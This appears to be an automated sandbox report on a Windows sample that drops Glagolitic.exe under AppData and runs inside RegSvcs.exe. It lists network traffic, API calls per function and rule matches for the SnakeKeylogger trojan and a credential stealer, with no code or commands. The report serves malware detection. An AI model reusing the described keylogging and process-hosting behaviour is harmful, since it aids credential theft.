Source: unknown | Network traffic detected: HTTP traffic on port 49696 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49693 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49692 |
Source: unknown | Network traffic detected: HTTP traffic on port 49692 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49726 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49690 |
Source: unknown | Network traffic detected: HTTP traffic on port 49724 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49728 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49689 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49683 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49700 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49709 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49707 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49728 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49705 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49704 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49726 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49725 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49724 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 49701 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,SetCapture,ClientToScreen,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx, | 0_2_0047C81C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,SetCapture,ClientToScreen,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx, | 2_2_0047C81C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,SetCapture,ClientToScreen,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, | 5_2_0047C81C |
Source: 5.2.Glagolitic.exe.3830000.1.unpack, type: UNPACKEDPE | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: 5.2.Glagolitic.exe.3830000.1.unpack, type: UNPACKEDPE | Matched rule: Detects Encrial credential stealer malware Author: Florian Roth |
Source: 5.2.Glagolitic.exe.3830000.1.unpack, type: UNPACKEDPE | Matched rule: Detects executables with potential process hoocking Author: ditekSHen |
Source: 5.2.Glagolitic.exe.3830000.1.raw.unpack, type: UNPACKEDPE | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: 5.2.Glagolitic.exe.3830000.1.raw.unpack, type: UNPACKEDPE | Matched rule: Detects Encrial credential stealer malware Author: Florian Roth |
Source: 5.2.Glagolitic.exe.3830000.1.raw.unpack, type: UNPACKEDPE | Matched rule: Detects executables with potential process hoocking Author: ditekSHen |
Source: 2.2.Glagolitic.exe.3c20000.1.raw.unpack, type: UNPACKEDPE | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: 2.2.Glagolitic.exe.3c20000.1.raw.unpack, type: UNPACKEDPE | Matched rule: Detects Encrial credential stealer malware Author: Florian Roth |
Source: 2.2.Glagolitic.exe.3c20000.1.raw.unpack, type: UNPACKEDPE | Matched rule: Detects executables with potential process hoocking Author: ditekSHen |
Source: 2.2.Glagolitic.exe.3c20000.1.unpack, type: UNPACKEDPE | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: 2.2.Glagolitic.exe.3c20000.1.unpack, type: UNPACKEDPE | Matched rule: Detects Encrial credential stealer malware Author: Florian Roth |
Source: 2.2.Glagolitic.exe.3c20000.1.unpack, type: UNPACKEDPE | Matched rule: Detects executables with potential process hoocking Author: ditekSHen |
Source: 00000006.00000002.3307267063.0000000000424000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: Detects Encrial credential stealer malware Author: Florian Roth |
Source: 00000002.00000002.876716377.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: Detects executables with potential process hoocking Author: ditekSHen |
Source: 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: Detects Encrial credential stealer malware Author: Florian Roth |
Source: 00000005.00000002.989629914.0000000003830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY | Matched rule: Detects executables with potential process hoocking Author: ditekSHen |
Source: Process Memory Space: Glagolitic.exe PID: 5960, type: MEMORYSTR | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: Process Memory Space: Glagolitic.exe PID: 5168, type: MEMORYSTR | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: Process Memory Space: RegSvcs.exe PID: 5944, type: MEMORYSTR | Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0046A07E PostMessageW,GetFocus,GetDlgCtrlID,PostMessageW,NtdllDialogWndProc_W,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W, | 0_2_0046A07E |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004710F1 NtdllDialogWndProc_W,ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W, | 0_2_004710F1 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0045034C GetParent,NtdllDialogWndProc_W, | 0_2_0045034C |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044036A NtdllDialogWndProc_W, | 0_2_0044036A |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00440306 NtdllDialogWndProc_W, | 0_2_00440306 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0047132F NtdllDialogWndProc_W, | 0_2_0047132F |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00440338 NtdllDialogWndProc_W, | 0_2_00440338 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0046A38E NtdllDialogWndProc_W,NtdllDialogWndProc_W, | 0_2_0046A38E |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0045039B GetParent,NtdllDialogWndProc_W,NtdllDialogWndProc_W,NtdllDialogWndProc_W, | 0_2_0045039B |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004404E8 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W, | 0_2_004404E8 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044048E NtdllDialogWndProc_W, | 0_2_0044048E |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044786A NtdllDialogWndProc_W, | 0_2_0044786A |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,SetCapture,ClientToScreen,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx, | 0_2_0047C81C |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004478AC GetCursorPos,TrackPopupMenuEx,NtdllDialogWndProc_W,GetCursorPos,TrackPopupMenuEx, | 0_2_004478AC |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004479A0 GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,NtdllDialogWndProc_W, | 0_2_004479A0 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004629B7 NtdllDialogWndProc_W,NtdllDialogWndProc_W, | 0_2_004629B7 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0047EA6F NtdllDialogWndProc_W, | 0_2_0047EA6F |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00447ABC SendMessageW,NtdllDialogWndProc_W, | 0_2_00447ABC |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00447B4E NtdllDialogWndProc_W, | 0_2_00447B4E |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00454CFC NtdllDialogWndProc_W, | 0_2_00454CFC |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00454D4A NtdllDialogWndProc_W, | 0_2_00454D4A |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0042FDA6 ClientToScreen,NtdllDialogWndProc_W, | 0_2_0042FDA6 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0042FE05 NtdllDialogWndProc_W, | 0_2_0042FE05 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00470E96 DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W, | 0_2_00470E96 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0046A07E PostMessageW,GetFocus,GetDlgCtrlID,PostMessageW,NtdllDialogWndProc_W,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W, | 2_2_0046A07E |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004710F1 NtdllDialogWndProc_W,ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W, | 2_2_004710F1 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0045034C GetParent,NtdllDialogWndProc_W, | 2_2_0045034C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044036A NtdllDialogWndProc_W, | 2_2_0044036A |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00440306 NtdllDialogWndProc_W, | 2_2_00440306 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0047132F NtdllDialogWndProc_W, | 2_2_0047132F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00440338 NtdllDialogWndProc_W, | 2_2_00440338 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0046A38E NtdllDialogWndProc_W,NtdllDialogWndProc_W, | 2_2_0046A38E |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0045039B GetParent,NtdllDialogWndProc_W,NtdllDialogWndProc_W,NtdllDialogWndProc_W, | 2_2_0045039B |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004404E8 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W, | 2_2_004404E8 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044048E NtdllDialogWndProc_W, | 2_2_0044048E |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044786A NtdllDialogWndProc_W, | 2_2_0044786A |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,SetCapture,ClientToScreen,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx, | 2_2_0047C81C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004478AC GetCursorPos,TrackPopupMenuEx,NtdllDialogWndProc_W,GetCursorPos,TrackPopupMenuEx, | 2_2_004478AC |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004479A0 GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,NtdllDialogWndProc_W, | 2_2_004479A0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004629B7 NtdllDialogWndProc_W,NtdllDialogWndProc_W, | 2_2_004629B7 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0047EA6F NtdllDialogWndProc_W, | 2_2_0047EA6F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00447ABC SendMessageW,NtdllDialogWndProc_W, | 2_2_00447ABC |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00447B4E NtdllDialogWndProc_W, | 2_2_00447B4E |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00454CFC NtdllDialogWndProc_W, | 2_2_00454CFC |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00454D4A NtdllDialogWndProc_W, | 2_2_00454D4A |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0042FDA6 ClientToScreen,NtdllDialogWndProc_W, | 2_2_0042FDA6 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0042FE05 NtdllDialogWndProc_W, | 2_2_0042FE05 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00470E96 DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W, | 2_2_00470E96 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00401100 NtdllDefWindowProc_W,KillTimer,PostQuitMessage,SetTimer,RegisterClipboardFormatW,CreatePopupMenu, | 5_2_00401100 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0046A07E PostMessageW,GetFocus,GetDlgCtrlID,PostMessageW,NtdllDialogWndProc_W,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W, | 5_2_0046A07E |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004710F1 NtdllDialogWndProc_W,ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W, | 5_2_004710F1 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0045034C GetParent,NtdllDialogWndProc_W, | 5_2_0045034C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044036A NtdllDialogWndProc_W, | 5_2_0044036A |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00440306 NtdllDialogWndProc_W, | 5_2_00440306 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0047132F NtdllDialogWndProc_W, | 5_2_0047132F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00440338 NtdllDialogWndProc_W, | 5_2_00440338 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0046A38E NtdllDialogWndProc_W,NtdllDialogWndProc_W, | 5_2_0046A38E |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0045039B GetParent,NtdllDialogWndProc_W,NtdllDialogWndProc_W,NtdllDialogWndProc_W, | 5_2_0045039B |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004404E8 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W, | 5_2_004404E8 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044048E NtdllDialogWndProc_W, | 5_2_0044048E |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0044786A NtdllDialogWndProc_W, | 5_2_0044786A |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,SetCapture,ClientToScreen,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, | 5_2_0047C81C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004478AC GetCursorPos,TrackPopupMenuEx,NtdllDialogWndProc_W,GetCursorPos,TrackPopupMenuEx, | 5_2_004478AC |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004479A0 GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,NtdllDialogWndProc_W, | 5_2_004479A0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004629B7 NtdllDialogWndProc_W,NtdllDialogWndProc_W, | 5_2_004629B7 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0047EA6F NtdllDialogWndProc_W, | 5_2_0047EA6F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00447ABC SendMessageW,NtdllDialogWndProc_W, | 5_2_00447ABC |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00447B4E NtdllDialogWndProc_W, | 5_2_00447B4E |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00454CFC NtdllDialogWndProc_W, | 5_2_00454CFC |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00454D4A NtdllDialogWndProc_W, | 5_2_00454D4A |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0042FDA6 ClientToScreen,NtdllDialogWndProc_W, | 5_2_0042FDA6 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0042FE05 GetWindowLongW,NtdllDialogWndProc_W, | 5_2_0042FE05 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00470E96 DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W, | 5_2_00470E96 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004096A0 | 0_2_004096A0 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0042200C | 0_2_0042200C |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00404170 | 0_2_00404170 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0041A217 | 0_2_0041A217 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00412216 | 0_2_00412216 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0042435D | 0_2_0042435D |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004033C0 | 0_2_004033C0 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044F430 | 0_2_0044F430 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004125E8 | 0_2_004125E8 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044663B | 0_2_0044663B |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00413801 | 0_2_00413801 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0042096F | 0_2_0042096F |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004129D0 | 0_2_004129D0 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_004119E3 | 0_2_004119E3 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0041C9AE | 0_2_0041C9AE |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0047EA6F | 0_2_0047EA6F |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0040FA10 | 0_2_0040FA10 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044EB5F | 0_2_0044EB5F |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00423C81 | 0_2_00423C81 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00411E78 | 0_2_00411E78 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00442E0C | 0_2_00442E0C |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00420EC0 | 0_2_00420EC0 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_0044CF17 | 0_2_0044CF17 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_00444FD2 | 0_2_00444FD2 |
Source: C:\Users\user\Desktop\mKRflLn5sx.exe | Code function: 0_2_03F19230 | 0_2_03F19230 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004096A0 | 2_2_004096A0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0042200C | 2_2_0042200C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00404170 | 2_2_00404170 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0041A217 | 2_2_0041A217 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00412216 | 2_2_00412216 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0042435D | 2_2_0042435D |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004033C0 | 2_2_004033C0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044F430 | 2_2_0044F430 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004125E8 | 2_2_004125E8 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044663B | 2_2_0044663B |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00413801 | 2_2_00413801 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0042096F | 2_2_0042096F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004129D0 | 2_2_004129D0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004119E3 | 2_2_004119E3 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0041C9AE | 2_2_0041C9AE |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0047EA6F | 2_2_0047EA6F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0040FA10 | 2_2_0040FA10 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044EB5F | 2_2_0044EB5F |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00423C81 | 2_2_00423C81 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00411E78 | 2_2_00411E78 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00442E0C | 2_2_00442E0C |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00420EC0 | 2_2_00420EC0 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0044CF17 | 2_2_0044CF17 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00444FD2 | 2_2_00444FD2 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_03F64E00 | 2_2_03F64E00 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_03115370 | 3_2_03115370 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311D278 | 3_2_0311D278 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_03117118 | 3_2_03117118 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311C146 | 3_2_0311C146 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311A088 | 3_2_0311A088 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311C738 | 3_2_0311C738 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311C468 | 3_2_0311C468 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311CA08 | 3_2_0311CA08 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_03113AA1 | 3_2_03113AA1 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311E988 | 3_2_0311E988 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_031169A0 | 3_2_031169A0 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311CFAB | 3_2_0311CFAB |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311CCD8 | 3_2_0311CCD8 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311F631 | 3_2_0311F631 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311FA88 | 3_2_0311FA88 |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_0311E97B | 3_2_0311E97B |
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | Code function: 3_2_031129EC | 3_2_031129EC |
